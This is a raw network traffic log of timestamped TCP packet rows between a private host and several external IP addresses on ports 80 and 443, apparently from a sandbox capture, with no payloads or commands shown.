Nov 7, 2024 17:25:45.505817890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505829096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505839109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505848885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505862951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.505880117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.505911112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.505950928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.505961895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506006956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506015062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506031036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506041050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506052017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506062031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506071091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506072044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506102085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506165981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506337881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506376982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506381989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506393909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506405115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506416082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506438971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506458998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506500959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506516933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506526947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506540060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506541967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506555080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.506577015 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506603956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.506968021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.507016897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.507019043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.507031918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.507074118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.518701077 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.530982971 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.530994892 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.531488895 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.531517029 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.531553030 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.531573057 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.531686068 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.532114029 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.532119036 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.537600040 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.537616014 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.537630081 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.537636042 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.541027069 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.541054010 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.541122913 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.541311979 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.541323900 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.592571020 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.592874050 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.592932940 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.592940092 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.592992067 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.593436956 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.593449116 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.593461990 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.593466997 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.596322060 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.596342087 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.596549034 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.596692085 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.596704006 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.616333008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616348028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616365910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616378069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616389990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616400003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616413116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616424084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616436958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616436958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616488934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616508961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616594076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616612911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616656065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616730928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616741896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616760969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616770983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616774082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616787910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616787910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616796970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616800070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.616843939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.616843939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.629806042 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.629833937 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.631058931 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.631520987 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.631544113 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.631680965 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.631690979 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.631707907 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.631844997 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.632141113 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.632169962 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.632333040 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.632340908 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.632406950 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.632431984 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.632615089 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.632635117 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.632972956 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.633356094 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.633369923 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.634339094 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.634351969 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.634439945 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.634449959 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.634546041 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.634563923 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.634800911 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.634810925 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.634979010 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:45.634989977 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:45.661432981 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.661483049 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.661659956 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.676006079 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.676014900 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.676106930 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.676112890 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.694148064 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.694199085 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.694417953 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.695293903 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:45.695307970 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:45.740750074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.746445894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974390984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974431992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974453926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974466085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974474907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974503040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974510908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974541903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974551916 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974564075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974584103 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974603891 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974845886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974867105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974878073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974901915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974916935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.974967003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974980116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.974991083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975023031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975035906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975040913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975053072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975064993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975078106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975100994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975125074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975136995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975147963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975182056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975212097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975224018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975234985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975251913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975254059 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975265980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975276947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975277901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975298882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975306034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975311041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975320101 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975332022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975346088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975357056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975384951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975385904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975398064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975410938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975413084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975419998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975444078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975502014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975514889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975545883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975573063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975655079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975728989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975739956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975774050 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975799084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.975838900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975848913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.975887060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.064728975 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.065112114 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.065136909 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.066190004 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.066262960 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.067554951 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.067617893 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.067841053 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.090203047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090236902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090255022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090270042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090286016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090302944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090333939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090342045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090481997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090496063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090511084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090524912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090538979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090542078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090553045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090560913 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090569019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090583086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090585947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090614080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090621948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090636969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090643883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090652943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090667963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090672970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090682983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090684891 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090693951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090698004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090713024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090713978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090729952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090744972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090749979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090764999 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090792894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090795994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090811968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090822935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090848923 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090876102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090902090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090917110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090929985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090944052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090955973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.090960979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.090986013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091006041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091053009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091068029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091080904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091094971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091106892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091118097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091131926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091159105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091200113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091214895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091228962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091243029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091254950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091258049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091272116 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091273069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091289043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091296911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091303110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091331005 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091331005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091341972 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091370106 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091536999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091551065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091589928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091635942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091650963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091664076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091680050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091690063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091695070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.091706991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.091734886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.111332893 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.118202925 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.118213892 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.165067911 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.169406891 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.169727087 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.169743061 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.171185970 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.171258926 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.172712088 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.172854900 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.173392057 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.173404932 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.206445932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206480026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206505060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206518888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206530094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206532955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206547976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206556082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206566095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206651926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206665993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206681013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206688881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206688881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206688881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206696033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206712008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206715107 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206724882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206732035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206739902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206756115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206767082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206777096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206794024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206794024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206806898 CET	80	49911	95.215.204.182	192.168.2.6
